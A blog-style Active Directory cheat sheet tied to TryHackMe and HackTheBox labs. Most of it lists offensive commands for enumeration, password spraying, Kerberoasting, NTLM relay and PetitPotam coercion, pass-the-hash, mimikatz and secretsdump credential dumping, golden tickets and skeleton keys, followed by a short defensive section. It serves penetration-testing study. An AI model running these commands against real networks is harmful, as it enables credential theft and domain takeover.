Active Directory Cheat Sheet for 2025 | Cyber Codex

Active Directory is the spine of enterprise networks — break it, and the whole body collapses.

Welcome to your 2025-ready Active Directory (AD) cheat sheet — a masterkey reference combining offensive, defensive, and investigative commands. Whether you’re mapping domain forests as a red teamer or auditing misconfigs as a blue team analyst, this cheat sheet turns your recon into results.

This isn’t just theory — each section below is inspired by real-world labs and CTFs like TryHackMe’s Attacking AD, Ignite, Wreath, and HackTheBox’s Labs (free tier).

Scan Network & Initial Enumeration

Think of this like taking a flashlight into a dark room — you’re identifying where the machines live and how they talk.

Lab Used: TryHackMe — Ignite (Free)

• nmap -sP <target_range> — Sweep the subnet for life.

• nmap -PN -sV --top-ports 50 --open <target_ip> — Fingerprint the top talkers.

• nmap -PN --script smb-vuln* -p139,445 <target_ip> — Check SMB doors for rusty locks.

• cme smb <target_range> — CrackMapExec meets Samba: Discover shares, users, and more.

Active Directory Discovery

Real-World Feel: Like sneaking into a library and figuring out the floor plan before grabbing the rare books.

Lab Used: TryHackMe — Attacking AD

• nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN.LOCAL — Sniff out Domain Controllers.

• dig axfr @dns_server domain.local — (If misconfigured) grab every DNS record.

• enum4linux -a -u "" -p "" <target_ip> — Anonymous recon.

• smbmap -u "guest" -p "" -P 445 -H <target_ip> — Test for open access.

Try This in Wreath: Compare anonymous SMB access vs. guest login.

Gaining Foothold: Attacks That Work

This is your beachhead. You’re not deep yet — but you’ve got a toe in the door.

Password Spraying

• cme smb -u user.txt -p password.txt <target_ip>→ Blanket login attempts with caution.

AS-REP Roasting

GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat

• Demo This: TryHackMe — Wreath, where one user lacks pre-auth and leaks hashes.

LLMNR Poisoning + Relays

responder -I tun0 
ntlmrelayx.py -tf targets.txt -socks -smb2support

PetitPotam NTLM Coercion

• PetitPotam.py -d DOMAIN.LOCAL <attacker_ip> <target_ip> — Weaponized forced auth.

Post-Exploitation & Lateral Movement

This is where it gets cinematic. You’ve got creds. Now you walk the domain.

Real-Lab Example: HackTheBox — Offshore (Free) has this exact flow with SMB shares, BloodHound ops, and user hops.

BloodHound Collection

bloodhound-python -d DOMAIN -u USER -p PASS -gc DC_IP -c all

Enumerate Shares

cme smb <target_ip> -u user -p pass --shares

Kerberoasting

GetUserSPNs.py -request -dc-ip DC_IP DOMAIN/USER:PASS

Pass-the-Hash / Key

evil-winrm -i <ip> -u user -H <NTLM hash>

wmiexec.py -hashes :NTLM user@target

Domain Dominance

Endgame begins. You now own one machine. Time to own the forest.

Credential Dumping

secretsdump.py DOMAIN/USER:PASS@DC_IP # Get that juicy NTDS.dit.
mimikatz "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords"

Golden Ticket

ticketer.py -nthash <krbtgt_hash> -domain-sid <sid> -domain DOMAIN <user>

Skeleton Key

mimikatz "privilege::debug" "misc::skeleton" — One key to rule them all.

Blue Team & Detection Notes

Defend like a hunter. Here’s what defenders should be doing.

• Monitor PowerShell logs: Sysmon + WinLogBeat + Elastic.

• Detect responder/LLMNR poisoning with: Invoke-DetectResponder.ps1

• Enable SMB signing to nullify NTLM relays.

• Set Audit Directory Services Changes for object manipulation.

• Rotate krbtgt password twice after compromise.

TryHackMe — Security Analyst Path offers hands-on SIEM and GPO audit labs.

Hash Cracking Cheat Codes

Bonus: Custom Tools & Power Scripts

• PowerView.ps1 – Swiss army knife for AD enum.

• SharpHound.exe – Native collector for BloodHound.

• Invoke-Kerberoast, Invoke-UserHunter, Get-GPPPassword – Part of PowerSploit.

• adidnsdump – Digs through DNS for fun and creds.

Final Note

This isn’t a cheat sheet — it’s a tactical guide. Pair these commands with real labs, reflect on each step, and don’t memorize — internalize.

“The more silently you move in AD, the louder your skills speak.”